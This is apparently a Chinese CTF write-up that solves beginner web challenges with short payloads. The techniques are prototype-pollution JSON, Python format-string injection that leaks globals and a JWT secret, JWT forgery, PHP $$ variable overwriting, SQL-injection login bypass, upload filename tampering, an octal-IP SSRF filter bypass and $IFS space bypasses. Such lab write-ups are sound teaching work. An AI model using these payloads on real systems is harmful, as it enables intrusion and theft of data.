  • 空变量绕过。flag→fl$@ag

空格绕过:

1
2
$IFS
$IFS$9

Do you know HTTP

HS请求:修改请求method

本地IP:添加请求头X-Forwarded-For

从指定地址来:添加请求头Referer

指定浏览器:修改User-Agent(感觉有点问题,浏览器只是UA头的一部分,并不应该修改全部)

image-20231019230431176

fake galgame

构造错误的JSON数据得到报错信息,根据JSON.parse猜测是原型链污染

image-20231019234913680

构造payload,绕过直接的数值检测,从原型链上修改这三个属性的值。

1
{"attributes":{"health":0,"attack":0,"armor":0,"__proto__":{"health":100000,"attack":100000,"armor":100000}}}

image-20231019234704766

20

Web安全入门指北-小饼干

第一次访问网站的响应头中有Set-Cookie,根据页面提示VIP,应该是修改Cookie中的VIP值。

地狱通讯

源码分析

1
2
3
4
5
6
7
8
9
10
11
from flag import flag, FLAG	# flag可能是需要的东西
def index():
# ...
f1ag = request.args.get('f1ag') or ""
exp = request.args.get('exp') or ""
flAg = FLAG(f1ag)
message = "Your flag is {0}" + exp
if exp == "":
return ctx
else:
return message.format(flAg) # 重点在字符串格式化

在format之前exp已经拼接进去了,由于{0}是flAg(经过FLAG方法处理,可能是与flag相关的对象),构造exp={0.__class__.__init__.__globals__},读取flAg对象所在类的所有全局变量,找到flag

image-20231020134940106

总结:format漏洞,python特殊函数

地狱通讯-改

源码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from secret import secret, headers, User # 注意User和secret和headers都来自secret
import jwt

@app.route("/", methods=['GET', 'POST'])
def index():
# ...接收name参数,不能为admin,但是后面读取flag需要name为admin
name = request.args.get('name') or ''
if 'admin' in name or name == '':
return res
payload = {
"name": name,
} # jwt加密
token = jwt.encode(payload, secret, algorithm='HS256', headers=headers)
res.set_cookie('token', token)
return res

@app.route('/hello', methods=['GET', 'POST'])
def hello():
token = request.cookies.get('token') # 验证token
if not token:
return redirect('/', 302)
try:
name = jwt.decode(token, secret, algorithms=['HS256'])['name']
except jwt.exceptions.InvalidSignatureError as e:
return "Invalid token"
if name != "admin": #
user = User(name)
flag = request.args.get('flag') or ''
message = "Hello {0}, your flag is" + flag
return message.format(user) # 存在与前一题一样的format漏洞
else:
return render_template('flag.html', name=name)
  1. 随便传一个name值获取到一个非admin用户的jwt值image-20231020140846860
  2. 构造payload获取secret:flag={0.__class__.__init__.__globals__}image-20231020141420410
  3. 构造admin的jwtimage-20231020141834233
  4. jwt绕过image-20231020142031106

ezphp

源码审计(需要提前了解$$的作用),payload为a=flag&flag=a(GET参数),POST参数没用,一定不能传flag参数,会导致本来的flag变量的值被覆盖,所以POST请求体置空就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$flag = 'xxxxxxxx';//需要的东西
if(!isset($_GET['flag']) && !isset($_POST['flag'])){//只需要有一个flag参数就行
exit($giveme);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){//flag参数值不能为flag
exit($getout);
}
foreach ($_POST as $key => $value) {//不重要,一定不能有flag参数
$$key = $value;
}
foreach ($_GET as $key => $value) {//第一轮:$a=$flag,使用$a暂存$flag的值
$$key = $$value; //第二轮:$flag=$a,$flag回到原来的值
}
echo 'the flag is : ' . $flag;
?>

image-20231020204445245

总结:$$变量污染

*sqlmap_boy

前端源码中有提示

1
$sql = 'select username,password from users where username="'.$username.'" && password="'.$password.'";';

知道闭合符是双引号了,直接上万能密码:admin'" or 1=1#,登录成功,提示跳转到secrets.php?id=1

image-20231020211336154

secrets.php好像有问题

what are y0u uploading?

文件上传,前端JS验证文件后缀,随便上传一个图片得到提示,需要f1ag.php。直接burp改包:将上传图片的包修改一下filename即可。

image-20231020212919360

God_of_Aim

先简单玩一下,达到10分后会弹出一部分flag,期间没有发起网络请求,猜测全程js控制,查看js代码,找到flag相关部分:alert的内容

image-20231020213825145

直接在控制台输出flag

image-20231020213917933

nextGen2

在网站根目录下,所以可以用file://127.0.0.1/flag.txt,但是存在过滤,猜测是对127.0.0.1有过滤,改为八进制绕过。service=file://0177.0.0.1/flag.txt